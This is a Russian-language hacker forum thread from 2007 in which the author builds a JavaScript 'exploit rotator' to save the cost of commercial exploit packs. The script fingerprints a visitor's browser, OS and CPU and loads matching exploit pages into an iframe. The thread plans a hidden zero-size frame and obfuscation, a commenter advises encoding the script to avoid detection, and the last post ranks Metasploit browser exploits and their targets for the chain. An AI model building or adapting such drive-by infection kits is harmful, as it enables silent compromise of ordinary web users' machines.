Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Делаем простой ротатор эксплоитов (или Metasploit Framework часть 6) |

02.04.2007, 16:44
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Делаем простой ротатор эксплоитов (или Metasploit Framework часть 6)
Ротатор эксплоитов (или Metasploit Framework часть 6)
Предисловие.
Статья расщитана не на новичков, а на тех кто уже знаком с пакетом разработки эксплоитов на практике. Остальным рекомендую почитать первые части. Заинтересованным рекомендую ознакомиться с официальным мануалом релиза 3.0 (вышел 27 марта 2007 года), перевод которого осуществил n0ne и выложил у себя на сайте Почитать пользовательский мануал по MSF 3.0, за что ему огромный респект!
Что такое Ротатор? Ну наверно многие слышали, видели объявления, "продаю связку эсплоитов, пробив столько-то процентов, цена 1000$". Ну вот, например. Что же это за зверь? Опишу своими словами. Связка сплоитов - набор эксплоитов, которые эксплуатируют те или иные уязвимости в приложениях, сервисах и т. п. Причём по определённому алгоритму, ну типа не пробил один сплоит, пробуем следующий... и т.д. Вообщем, я подумал, что ввиду большого количества паблик эксплоитов для браузеров (в основной массе IE) пора написать простенький ротатор по типу той интелектуальной связки эксплоитов, и доводить его до ума, совершенствуя алгоритм ротации. Возьмём многие идеи автора, запостившего объявление о продаже своей связки на вооружение и попробуем сэкономить 500$-1000$. (Ведь сплоиты то есть в паблике! - за что платить? За двиг ротатора? За скрипты сбора статистики пробива браузеров? Попробуем всё сделать своими руками, и так с...
1. Подготовка.
а). Определимся с типом жертвы: Жертва у нас будет популярные браузеры IE - в первую очередь (как самый дырявый браузер), в меньшей степени Opera и FireFox (имеющих мало паблик уязвимостей).
б). Нам потребуется:
- ПО Metasploit Framework 3.0 (релиз) скачать можно тут: http://metasploit.com/
- Минимальные знания html и javascript;
- Все три популярных браузера (для тестирования);
- Редактор html c подсветкой синтаксиса (пойдёт и визуальный).
- Прямые руки и светлая голова.
2. Типа начинаем кодить.
Определяемся с алгоритмом ротации и языком на котором будем писать:
- Ну во первых откажемся от PHP и Perl, так как возможность их использования, как правило отсутствует на бесплатных хостингах, а вешать ротатор в iframe мы будем именно на них. А так же ввиду того, что мы не ахти какие кодеры на PHP и Perl (не обладаем достаточными знаниями). Поэтому остаётся javascript, исполняемый в браузере клиента. И так алгоритм:
- Определяем тип нашего клиента (тип браузера) юзверя посетившего нашу страничку. Сделаем это с помощью javascript, велосипед изобретать не будем, а возьмём готовый код, например отсюда: http://www.xakep.ru/magazine/xa/080/048/2.asp
Код:
<script language="javascript">
document.write ("You are using: " + navigator.appName)
document.write ("CPU type: " + navigator.cpuClass)
document.write ("Screen Resolution: " + screen.width + "x" + screen.height)
document.write ("Available Screen Resolution: " + screen.availWidth + "x" + screen.availHeight)
document.write ("Screen Color Depth: " + screen.colorDepth)
today = new Date()
document.writeln("Date & time on your computer and time zone is: " + today)
document.writeln("Date & time in your locale format: " + today.toLocaleString())
</script>
Здесь для нас важная 1 строка, она определяет тип браузера. Оставим то, что нам нужно и проверим, как присваивается переменной brouser значение (Тип браузера), а переменной cpu - тип CPU
Код:
<script language="javascript">
brouser=navigator.appName
cpu=navigator.cpuClass
document.write ("You are using: " + brouser)
document.write ("CPU type: " + cpu)
</script>
Проверили - всё ок.
- Хорошо бы достать версию OC, не уверен что это можно сделать с помощью javascript поэтому придётся лезть в документацию или Гугл. Я полез в Гугл (в javascript я чайник, так что не бейте сильно) 5 секунд и ответ найден: Можно определить и ОС, ниже приведён код функции определения версии ОС на javascript :
Код:
<SCRIPT language=JavaScript>
function test_os() {
if ((navigator.userAgent.indexOf ('Win') != -1) &&
(navigator.userAgent.indexOf('98') != -1))
{ var OpSys = "Windows 98"; }
else if((navigator.userAgent.indexOf('Win') != -1) &&
(navigator.userAgent.indexOf('95') != -1))
{ var OpSys = "Windows 95"; }
else if(navigator.appVersion.indexOf("16") !=-1)
{ var OpSys = "Windows 3.1"; }
else if (navigator.appVersion.indexOf ("NT") !=-1)
{ var OpSys= "Windows NT"; }
else if (navigator.appVersion.indexOf ("Linux") !=-1)
{ var OpSys = "Linux"; }
else if (navigator.userAgent.indexOf ('Mac') != -1)
{ var OpSys = "Macintosh"; }
else { var OpSys = "other"; }
return OpSys;
}
</SCRIPT>
Потом в теле вызываем эту функцию:
Код:
<BODY>
<SCRIPT language=JavaScript>
var OpSys = test_os();
document.write("Вы используете ОС: " + OpSys);
</SCRIPT>
</BODY>
Ну что же, неплохо, на входе нашего будущего Ротатора (а он будет на яваскрипт javascript) мы имеем три переменные: brouser, cpu, OpSys (тип броузера, тип цп, тип OC). В зависимости от этих значений и будем проводить ротацию эксплоитов. Если со значением переменной OpSys всё ясно (видно из кода), то посмотрим какие значения может принимать переменная brouser, для этого зайдём попеременно тремя популярными браузерами. И так Опера - brouser="Opera", IE - brouser="Microsoft Internet Explorer", FireFox - brouser="Netscape". То есть в зависимости от типа браузера мы будем использовать разные наборы сплоитов. И так у нас появились три ветви. Реализуем это на javascript, чтоб в Iframe выводилась нужная страница. Обзовём их по значению переменной brouser: Microsoft Internet Explorer.html, Opera.html, Netscape.html
За основу возьмём код, любезно предоставленный _Nikolas_ для ротации сайтов в iframe и подправим его немного под себя. Будем использовать, его как точку опоры. Кстати он после небольшой переделки подойдёт для автоматической ротации вредоносных страниц, содержащих эксплоиты.
Код:
<html>
<head>
<title></title>
<script type="text/javascript">
var sites = new Array();
var currentSite = 0;
//тут добавляешь скока хошь сайтов
sites[0] = "http://mail.ru";
sites[1] = "http://ya.ru";
sites[2] = "http://google.com";
function changeSite() {
document.getElementById( "ifrm" ).src = sites[currentSite];
currentSite++;
if ( currentSite >= sites.length ) {
currentSite = 0;
}
}
setInterval( "changeSite()", 5000 );
</script>
</head>
<body onload="changeSite()">
<iframe id="ifrm" src="ya.ru"/>
</body>
</html>
Я исправил для начала так:
Код:
<html>
<head>
<title></title>
<script type="text/javascript">
var sites = new Array();
var currentPage = 0;
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sites[0] = "Opera.html";
sites[1] = "Microsoft Internet Explorer.html";
sites[2] = "Netscape.html";
function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
currentPage++;
if ( currentPage >= sites.length ) {
currentPage = 0;
}
}
setInterval( "changePage()", 500 );
</script>
</head>
<body onload="changePage()">
<iframe id="ifrm" src="Microsoft Internet Explorer.html"/>
</body>
</html>
Сделаем пока 3 пустые страницы с одной надписью (имя браузера), для вывода в iframe и и обзовём их по типу браузеров:
Например: страница Netscape.html, содержимое:
Код:
<html>
<head>
<meta http-equiv="Content-Language" content="ru">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>FireFox</title>
</head>
<body>
<p align="left"><font size="6">FireFox</font></p>
<p>Тут будет ротация эксплоитов для Mozilla FireFox</p>
</body>
</html>
Проверяем, всё работает, в iframe меняются переодически наши (пока ещё не вредоносные странички. Но Ротация тут нам не нужна, а нужен выбор только одной страницы, в зависимости от значения переменной brouser.
Поэтому просто исправляем код под наши нужды:
Код:
<script type="text/javascript">
var sites = new Array();
var currentPage = nomer();
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sites[0] = "Microsoft Internet Explorer.html";
sites[1] = "Opera.html";
sites[2] = "Netscape.html";
function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
}
</script>
Осталось написать функцию nomer() - она будет возвращать число от 0 до 2, в зависимости от типа браузера, вот её код:
Код:
<SCRIPT language=JavaScript>
function nomer() {
var nomer="0"
if (brouser==="Microsoft Internet Explorer")
{ nomer="0"; }
else if (brouser==="Opera")
{ nomer="1"; }
else if (brouser==="Netscape")
{ nomer="2"; }
return (nomer);
}
</SCRIPT>
И так собираем всё вместе:
Код:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Ротатор Эксплоитов</title>
</head>
<SCRIPT language=JavaScript>
<!-- определяем значения переменных -->
brouser=navigator.appName
cpu=navigator.cpuClass
<!-- функция определения ОС -->
function test_os() {
if ((navigator.userAgent.indexOf ('Win') != -1) &&
(navigator.userAgent.indexOf('98') != -1))
{ var OpSys = "Windows 98"; }
else if((navigator.userAgent.indexOf('Win') != -1) &&
(navigator.userAgent.indexOf('95') != -1))
{ var OpSys = "Windows 95"; }
else if(navigator.appVersion.indexOf("16") !=-1)
{ var OpSys = "Windows 3.1"; }
else if (navigator.appVersion.indexOf ("NT") !=-1)
{ var OpSys= "Windows NT"; }
else if (navigator.appVersion.indexOf ("Linux") !=-1)
{ var OpSys = "Linux"; }
else if (navigator.userAgent.indexOf ('Mac') != -1)
{ var OpSys = "Macintosh"; }
else { var OpSys = "other"; }
return OpSys;
}
<!-- выводим на экран для контроля -->
document.write (" CPU type: " + cpu + " Операционная система : " + test_os())
<!-- функция номер IE=0, Opera=2, FireFox=3 -->
function nomer() {
var nomer="0"
if (brouser==="Microsoft Internet Explorer")
{ nomer="0"; }
else if (brouser==="Opera")
{ nomer="1"; }
else if (brouser==="Netscape")
{ nomer="2"; }
return (nomer);
}
<!-- выводим на экран для контроля имя браузера и присвоенные ему код-->
document.write(", Вы используете браузер: " + brouser + ", его код=" + nomer());
<!-- выбираем нужную страницу в iframe по коду-->
var sites = new Array();
var currentPage = nomer();
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sites[0] = "Microsoft Internet Explorer.html";
sites[1] = "Opera.html";
sites[2] = "Netscape.html";
function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
}
</script>
<body onload="changePage()">
<iframe id="ifrm" src=""/>
</body>
</html>
Вот так, нихрена не соображая в javascript, мы написали корявый но рабочий код (заготовку) нашего будущего ротатора.
Конечно мы потом уберём весь вывод на экран, сделаем фрейм невидимым (нулевого размера) и попробуем закодировать html, чтоб явно не палился...
А также используем полученные глобальные переменные (OpSys, cpu) и для определения оптимального алгоритма ротации страниц с эксплоитами, чтоб сразу не свалить браузер в даун, а попытаться исполнить начинку (полезный груз, шеллкод) сначала более надёжными сплоитами (работающими в большинстве случаев).
P.S. Статья не окончена - будет продолжение.
Принимаю замечания и исправления, а так же ваши варианты оптимизированного кода на Javascript и html
Последний раз редактировалось -=lebed=-; 03.04.2007 в 14:51..
Причина: Орфф. ошибки
|
|
|

02.04.2007, 17:58
|
|
Участник форума
Регистрация: 05.09.2006
Сообщений: 184
Провел на форуме: 888851
Репутация:
203
|
|
Ну в качестве образовательного примера вполне сойдет и ява, только код желательно закодировать и подцеплять отдельно <sript src=...>, так менее палевно чем пихать в исходники страницы...
|
|
|

03.04.2007, 11:48
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
И так, вчера мы немного определились с алгоритмом, однако забыли про переменную CPU (которая принимает значения - архитектура процессора). Поэтому первое ветвление должно быть именно в зависимости от её значения. По сути нам надо написать функцию EXPLOIT(CPU,brouser,OS) на выходе которой мы получим соответствующую страницу с ротацией эксплоитов для конкретного клиента. Поэтому немного перепишем наш код с учётом этого, а также для более легкого последующего апдейта нашего ротатора эксплоитов. Для начала определимся с диапазоном значений переменных:
CPU=[0,1]я думаю для популярных архитектур хватит двух вариантов (x86 и PowerPC). brouser=[0,1,2,3,4,5,6,7] для типов броузеров наверно 8 вариантов достаточно.(под broyser отвели 3 бита) OS=[0,1,2,3,4,5,7,6,7,8,9,10,11,12,13,14,15] - типы операционной системы, имхо 16 возможных вариантов хватит. Не будем парится с трёхмерными массивами, а приведём входящие переменные к одной rotation=128*CPU+16*brouser+OS, таким образом входящая переменная rotation будет принимать значения [0-255] и её размерность составит 1 байт (я не имею ввиду фактическую длину). То есть, так скажем, интелектуальность нашего ротатора составит 256 возможных интелектуальных наборов эксплоитов (ситуаций). (в нашем случае 256 компроментирующих браузер страниц). Перепишем наш код с учётом выше приведённого алгоритма. Ещё модернизируем функцию test_brouser(p), так, чтоб по вхдящему параметру p=2 выдавала нам версию браузера (пригодится для алгоритма ротации).
Код:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Ротатор Эксплоитов</title>
</head>
<SCRIPT language=JavaScript>
<!-- функция определения архитектуры (перенная name_cpu - Название, code_cpu - Присвоенный код, зависимости от параметра выдаёт name_cpu или code_cpu) -->
function test_cpu(p) {
var name_cpu=navigator.cpuClass
if (name_cpu==="x86")
{ var code_cpu=0; }
else
{ var code_cpu=0; }
if (p===0)
{return code_cpu;}
else {return name_cpu;}
}
<!-- Функция определения бруазера (перенная name_brouser - Название, code_brouser - Присвоенный код, ver_brouser - версия браузера, в зависимости от параметра выдаёт name_brouser, code_brouser или ver_brouser) -->
function test_brouser(p) {
var name_brouser=navigator.appName
var ver_brouser=navigator.appVersion
var code_brouser=0
if (name_brouser==="Microsoft Internet Explorer")
{ code_brouser=0; }
else if (name_brouser==="Opera")
{ code_brouser=1; }
else if (name_brouser==="Netscape")
{ code_brouser=2; }
if (p===0)
{return code_brouser;}
else if (p===1)
{return name_brouser;}
else
{return ver_brouser;}
}
<!-- функция определения ОС (переменная name_os - Название, code_os - Присвоенный код, в зависимости от параметра выдаёт name_os или code_os) -->
function test_os(p) {
if ((navigator.userAgent.indexOf ('Win') != -1) &&
(navigator.userAgent.indexOf('98') != -1))
{ var name_os = "Windows 98"; var code_os=2;}
else if((navigator.userAgent.indexOf('Win') != -1) &&
(navigator.userAgent.indexOf('95') != -1))
{ var name_os = "Windows 95"; var code_os=1;}
else if(navigator.appVersion.indexOf("16") !=-1)
{ var name_os = "Windows 3.1"; var code_os=0;}
else if (navigator.appVersion.indexOf ("NT") !=-1)
{ var name_os= "Windows NT"; var code_os=3;}
else if (navigator.appVersion.indexOf ("Linux") !=-1)
{ var name_os = "Linux"; var code_os=4;}
else if (navigator.userAgent.indexOf ('Mac') != -1)
{ var name_os = "Macintosh"; var code_os=5;}
else if (navigator.appVersion==="5.0 (Windows; ru)")
{ var name_os = "Windows"; var code_os=3;}
else { var name_os = "other"; var code_os=6;}
if (p===0)
{return code_os;}
else {return name_os;}
}
<!-- вычисляем код ситуации (входящая переменная rotation) для фунуции EXPLOIT()-->
var rotation;
rotation=128*test_cpu(0)+16*test_brouser(0)+test_os(0);
<!-- выводим на экран для контроля -->
document.write (" CPU type: " + test_cpu(1) + ", Код CPU=" + test_cpu(0) + ", Браузер:" + test_brouser(1) + ", Версия:" + test_brouser(2) + ", Код браузера=" + test_brouser(0) + ", Операционная система : " + test_os(1)+", Код операционки=" + test_os(0) + ", Код ситуации (переменная rotation)=" + rotation)
<!-- выбираем нужную страницу в iframe по коду rotation-->
var sites = new Array();
var currentPage = rotation;
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sites[0] = "rotor0.html";
sites[1] = "rotor1.html";
sites[2] = "rotor2.html";
sites[3] = "rotor3.html";
sites[4] = "rotor4.html";
sites[5] = "rotor5.html";
sites[6] = "rotor6.html";
sites[7] = "rotor7.html";
sites[8] = "rotor8.html";
sites[9] = "rotor9.html";
sites[10] = "rotor10.html";
sites[11] = "rotor11.html";
<!-- тут всего 128 компроментирующих браузер страниц будет -->
function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
}
</script>
<body onload="changePage()">
<iframe id="ifrm" src=""/>
</body>
</html>
Тестим код в трёх браузеров, как видим в Опере и FireFox переменная name_cpu имеет значение "undefined", т.е. неопределена. Забъём пока на другие архитектуры и оставим только x86 (MAC-пользователей оставим за бортом), подправим код функции test_cpu() - пусть выдаёт "0" в любом случае, то есть x86. Так же видим, что возникли проблемы в Браузере Mozzila FireFox - наш скрипт не определил операционную систему win2003 (значение other), что тоже не радует, может есть смысл парсить navigator.appVersion и доставать версию ОC от туда?
... продолжение скоро.
P.S. У кого есть хороший javascript для определения Операционной системы, работающий во всех браузерах, прошу выложить тут.
UP:
Ну раз нет, придётся дорабатывать тот что есть. Ошибается только Mozzila FireFox немного изменим функцию определения ОС:
Код:
<!-- функция определения ОС (переменная name_os - Название, code_os - Присвоенный код, в зависимости от параметра выдаёт name_os или code_os) -->
function test_os(p) {
if ((navigator.userAgent.indexOf ('Win') != -1) &&
(navigator.userAgent.indexOf('98') != -1))
{ var name_os = "Windows 98"; var code_os=2;}
else if((navigator.userAgent.indexOf('Win') != -1) &&
(navigator.userAgent.indexOf('95') != -1))
{ var name_os = "Windows 95"; var code_os=1;}
else if(navigator.appVersion.indexOf("16") !=-1)
{ var name_os = "Windows 3.1"; var code_os=0;}
else if (navigator.appVersion.indexOf ("NT") !=-1)
{ var name_os= "Windows NT"; var code_os=3;}
else if (navigator.appVersion.indexOf ("Linux") !=-1)
{ var name_os = "Linux"; var code_os=4;}
else if (navigator.userAgent.indexOf ('Mac') != -1)
{ var name_os = "Macintosh"; var code_os=5;}
else if (navigator.appVersion==="5.0 (Windows; ru)")
{ var name_os = "Windows"; var code_os=3;}
else { var name_os = "other"; var code_os=6;}
if (p===0)
{return code_os;}
else {return name_os;}
}
Добаваил для FireFox, чтоб правильно определял OC
Кстать, вот код с javascript, который выводит всю инфу в красивую формочку:
Код:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN//3.2">
<HTML>
<HEAD>
<TITLE>User Information - What does your browser say about you ?</TITLE>
</HEAD>
<FORM NAME="form1">
<TABLE BORDER="10" BORDERCOLOR="blue">
<TR>
<TD BGCOLOR="aqua">Browser Name</TD>
<TD><INPUT TYPE="INPUT" NAME="bn" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
<TD BGCOLOR="aqua">Browser Version</TD>
<TD><INPUT TYPE="INPUT" NAME="bv" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
<TD BGCOLOR="aqua">Width</TD>
<TD><INPUT TYPE="INPUT" NAME="w" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
<TD BGCOLOR="aqua">Height</TD>
<TD><INPUT TYPE="INPUT" NAME="h" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
<TD BGCOLOR="aqua">Colour Depth</TD>
<TD><INPUT TYPE="INPUT" NAME="cd" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
<TD BGCOLOR="aqua">Pixel Depth</TD>
<TD><INPUT TYPE="INPUT" NAME="pd" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
<TD BGCOLOR="aqua">Referring document</TD>
<TD><INPUT TYPE="INPUT" NAME="rd" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
</TABLE>
</FORM>
<SCRIPT LANGUAGE="JavaScript">
<!--
document.form1.bn.value = navigator.appName
document.form1.bv.value = navigator.appVersion
document.form1.w.value = screen.width
document.form1.h.value = screen.height
document.form1.cd.value = screen.colorDepth
document.form1.pd.value = screen.pixelDepth
document.form1.rd.value = document.referrer
// -->
</SCRIPT>
<CENTER><HR>
</CENTER>
</HTML>
Может, кому пригодится...
P.S. Код "Заготовки Ротатора" обновлён (в этом сообщении) с учётом последних изменений...
Ладно, вообщем с "функицей" EXPLOIT(rotation) мы будем считать частично справились. Никто не мешает нам улучшать её потом. Теперь можно переходить собственно к компроментирующим страницам, которые у нас будут выводится в IFRAME.
... продолжение следует...
Последний раз редактировалось -=lebed=-; 03.04.2007 в 14:54..
Причина: расширена функция определения браузера (теперь умеет выдавать ещё и версию)
|
|
|

03.04.2007, 12:52
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Вот нашёл старенькую статью Algola по схожей теме, кому интересно можете почитать: http://old.antichat.ru/activex/
Последний раз редактировалось -=lebed=-; 03.04.2007 в 14:47..
|
|
|

04.04.2007, 11:08
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
3. Отбор эксплоитов.
3. Отбор эксплоитов.
Запускаем пакет MSF 3.0 (релиз). Идём в Web-интерфейс, запускаем консоль (она у нас прямо в web-странице).
Смотрим какие есть эксплоиты.
Отберём для windows/browser/:
windows/browser/ani_loadimage_chunksize Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP)
windows/browser/aim_goaway AOL Instant Messenger goaway Overflow
windows/browser/apple_itunes_playlist Apple ITunes 4.7 Playlist Buffer Overflow
windows/browser/apple_quicktime_rtsp Apple QuickTime 7.1.3 RTSP URI Buffer Overflow
windows/browser/ie_createobject Internet Explorer COM CreateObject Code Execution
windows/browser/ie_iscomponentinstalled Internet Explorer isComponentInstalled Overflow
windows/browser/mcafee_mcsubmgr_vsprintf McAfee Subscription Manager Stack Overflow
windows/browser/mirc_irc_url mIRC IRC URL Buffer Overflow
windows/browser/ms03_020_ie_objecttype MS03-020 Internet Explorer Object Type
windows/browser/ms06_001_wmf_setabortproc Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution
windows/browser/ms06_013_createtextrange Internet Explorer createTextRange() Code Execution
windows/browser/ms06_055_vml_method Internet Explorer VML Fill Method Code Execution
windows/browser/ms06_057_webview_setslice Internet Explorer WebViewFolderIcon setSlice() Overflow
windows/browser/realplayer_smil RealNetworks RealPlayer SMIL Buffer Overflow
windows/browser/winamp_playlist_unc Winamp Playlist UNC Path Computer Name Overflow
windows/browser/xmplay_asx XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow
Так же посмотрим, какие были сплоиты в Интеллектуальной связке "eCore Exploit Pack v1.2" предлагаемой на продажу Max`ом. Ведь мы не хотим пропустить какой-нибудь паблик сплоит из его связки, чем мы хуже?
Mdac (RDS, MS06-014) [модифицированный, невидимый] - (найден аналог в MSF)
Сhm [модифицированный, невидимый]
Hhctrl [модифицированный, невидимый]
Hta [модифицированный, невидимый]
Java Virtual Machine Security Vulnerabilities < 5.03805 [невидимый]
Firefox MSFX-006 <2.0.0.2 (bof)
WebViewFolderIcon (setSlice) Buffer Overflow Exploit - (найден аналог в MSF)
VML Remote Buffer Overflow Exploit - (найден аналог в MSF)
WMF [модифицированный] - (найден аналог в MSF)
Content-disposition Bug (midi)
WinZip FileView ActiveX Control Buffer Overflow Exploit
Windows .ani File Parsing Buffer Overflow - (найден аналог в MSF)
Будем анализировать сплоиты, смотреть по каждому инфу (достаточно нудная и долгая работа):
- В основном для Microsoft Internet Explorer хотя и не только:
сплоиты на переполнение имеют меньшую надёжность и могут убить браузер, поэтому они будут последними в адгоритме ротации. Посмотрев инфу по каждому сплоиту, я отобрал следующие (Инфа в таком виде: ---название MSF---Название аналога в связке"eCore Exploit Pack v1.2"---Описание---Цель---Код ситуации---":
0. windows/browser/ani_loadimage_chunksize - (аналог: Windows .ani File Parsing Buffer Overflow). 0day сплоит (нет в релизе, есть в обновлении MSF 3.0, на данный момент ещё не рабочий). Сплоит эксплуатирует уязвимость переполнение буфера в LoadAniIcon () функции библиотеки UER32.dll. Баг вызван через браузер Интернет Эксплорер (6 и 7), использущий директиву загрузки стиля КУРСОРА злонамеренного .ANI файла. Internet Explorer будет ловить любые исключения, которые происходят, в то время как неправильный курсор загружен, эксплоит будет терпеть неудачу, если выбрана неправильная цель. Этот модуль будет обновлен в ближайшем будущем, чтобы исполнить fingerprinting на стороне клиента и брутфорс (грубая сила). Эта уязвимость была обнаруженна Александром Сотировым Determina и была открыта вновь, McAfee. Цели:
0 Automatic
1 Windows XP SP2 user32.dll 5.1.2600.2622
2 Windows XP SP2 userenv.dll English
3 Windows XP SP0/SP1 netui2.dll English
4 Windows 2000 SP0-SP4 netui2.dll English
5 Windows Vista user32.dll 6.0.6000.16386
Как видим, уязвимы все NT системы, даже Vista сборки 6.0.6000.16386. Очень актуальный сплоит на ближайшее время. Код ситуации 3.
1. windows/browser/ms06_001_wmf_setabortproc - (аналог: WMF [модифицированный]). Сплоит никогда не роняет броузер IE, так как использует уязвимость не в нём, а в системной библиотеке. В общем сам сплоит и начинка содержатся в скачиваемом автоматически файле-картинке. Цель: "Windows XP/2003/Vista Automatic" - удобен тем, что пробивает все версии виндов <=Windows-XP-SP2 (не пропатченные естественно). Код ситуации, переменная rotation=3
2. windows/browser/ms06_057_webview_setslice - (аналог: WebViewFolderIcon (setSlice) Buffer Overflow Exploit). Cплоит эксплуатирует уязвимость в WebViewFolderIcon ActiveX control, включённый в Windows 2000, Windows XP, and Windows 2003. И так цель: "Windows XP SP0-SP2 / IE 6.0SP1 English" Неплохой сплоит, правда вешает IE. Код ситуации, переменная rotation=3
3. windows/browser/ms06_055_vml_method - (аналог: VML Remote Buffer Overflow Exploit). Cплоит экспуатирует уязвимость в Microsoft Internet Explorer используя переполнение буфера in the VML коде процесса (VGX.dll). Протестирован на Windows 2000 SP4, Windows XP SP0, and Windows XP SP2. Цель: "Windows NT 4.0 -> Windows 2003 SP1" Код ситуации, переменная rotation=3
4. windows/browser/ie_createobject - (аналог: Mdac (RDS, MS06-014) [модифицированный, невидимый]). Cплоит экспуатирует уязвимость in Internet Explorer, нарушая режим эксплуатации уязвимых объектов ActiveX. Обратим внимание на цели:
0 Automatic
1 MS06-014 - RDS.DataSpace
2 MS06-073 - WMIScriptUtils.WMIObjectBroker2.1
3 UNKNOWN - SoftwareDistribution.MicrosoftUpdateWebControl.1
4 UNKNOWN - SoftwareDistribution.WebControl.1
5 UNKNOWN - VsmIDE.DTE
6 UNKNOWN - DExplore.AppObj.8.0
7 UNKNOWN - VisualStudio.DTE.8.0
8 UNKNOWN - Microsoft.DbgClr.DTE.8.0
9 UNKNOWN - VsaIDE.DTE
10 UNKNOWN - Business Object Factory
11 UNKNOWN - Outlook Data Object
12 UNKNOWN - Outlook.Application
Как видим список уязвимых объектов внушителен. Код ситуации, переменная rotation=3.
5. windows/browser/ms03_020_ie_objecttype - (аналог: отсутсвует). Старенький сплоит, эксплуатирует уязвимость в Internet Explorer, возникающую при обработке атрибута ТИП ОБЪЕКТА. Цель: "Windows NT/XP/2003 Automatic". Код ситуации, переменная rotation=3
6. windows/browser/winamp_playlist_unc - (аналог: отсутствует). Сплоит эксплуатирует уязвимость в Winamp- универсальном проигрывателе. Это возможно, когда аудио путь к файлу, внутри плейлиста, состоит из UNC-пути с длинным именем. Сплоит поставляет плейлист через браузер. Проверен на Winamp 5.11 и 5.12. В общем может повести, если жертва пользуется стареньким винамоп, подсунув ему специальный плейлист, можно получить полный контроль над машиной. Цель Winamp <= 5.12. Код ситуации 3, 19, 25 (актуально для всех браузеров).
7. windows/browser/realplayer_smil - (аналог: отсутствует). Сплоит эксплуатирует переполнение стека в RealNetworks RealPlayer 10 и 8. Созданый URL связывается со злонамеренным SMIL файлом, удалённый нападавший может переполнить буфер и выполнить произвольный код. Когда пользуютесь этот модулем, убедитесь, что установили URIPATH с расширением '.smil'. Этот модуль был проверен с RealPlayer 10 сборки 6.0.12.883 и RealPlayer 8 сборки 6.0.9.584. В общем может повезти, если жертва пользуется уязвимым RealPlayer`ом, подсунув ему специальный файлик с расширение '.smil'. В случае удачи - получаем контроль над машиной. Цель "дырявые RealPlayer 8,10". Код ситуации 3, 19, 25 (актуально для всех браузеров).
8. windows/browser/xmplay_asx - (аналог: отсутствует). Сплоит эксплуатирует переполнение стека в XMPlay 3.3.0.4. Уязвимость вызвана из-за граничной ошибки в пределах синтаксического анализа из playlists содержащего чрезмерно длинное имя файла. Сплоит использует ASX формат файла. В общем ситуауия, аналогичная дыре в WinAmp. Цели: "Windows 2000 Pro English SP4, Windows XP Pro SP2 English". Код ситуации, переменная rotation=3
9. windows/browser/ms06_013_createtextrange - (аналог: отсутствует). Сплоит эксплуатирует уязвимость выполнения кода в Microsoft Internet Explorer. И IE6 и IE7 (2 Beta) уязвимы. Это будет повреждёние памяти, в некотором смысле, которое, при некоторых обстоятельствах, может привести к неправильному/испорченному указателю таблицы. EIP укажет к очень отдаленному, несуществующему местоположению памяти. Этот сплоит - результат объединения трех различных представлений эксплуатации и надежно проверен против Windows XP SP2. Эта уязвимость была независимо найдена многими сторонами. Метод разбрызгивания динамической памяти, используемый этим сплоитом, найден изначально Skylined`ом.. В общем, на практике этот сплоит при эксплуатации начнинает пожирать память (до 1 Гб.) Так как памяти может нехватить - используется файл подкачки и из-за этого скорость его работы довольно медленная, кроме того может просто уронить IE. Цель: "Microsoft Internet Explorer. И IE6 и IE7 (2 Beta)". Код ситуации 3.
10. windows/browser/ie_iscomponentinstalled - (аналог: отсутствует). Тоже старенький сплоит, эксплуатирует переполнение стека в Internet Explorer. Эта ошибка{дефект} была исправлена в Windows 2000 SP4 и Windows XP SP1. Т. е. их он не пробивает. цель "Непатченная Windows XP SP0 with Internet Explorer 6.0" - не густо :-(. Код ситуации 3
11. windows/browser/mcafee_mcsubmgr_vsprintfСплоит эксплуатирует ошибку в McAfee Подписаном Менеджере элемента управления ActiveX. Из-за опасного использования vsprintf, возможно вызвать переполнение стека, передав большую строку к одной из COM-подпрограмм, такой как IsAppExpired. Эта уязвимость была обнаруженна Карлом Линн`ом. В общем, может повезти в том случае, если этот ActiveX элемент установлен. Цель: "Windows XP SP0/SP1". Код ситуации 3
12. windows/browser/mirc_irc_url - (аналог: отсутствует). Сплоит эксплуатирует переполнение стека в mIRC 6.1. Предоставляя чрезмерно длинный и специально обработанный URL к 'irc' протоколу, атакующий может перезаписать буфер и перехватить управление в выполняемой прогамме. В общем, если стоит этот клиент - Ирка 6.1, то может повезти. Цель: "Windows 2000 Pro English All, Windows XP Pro SP0/SP1 English с установленно Иркой 6.1". Код ситуации 3.
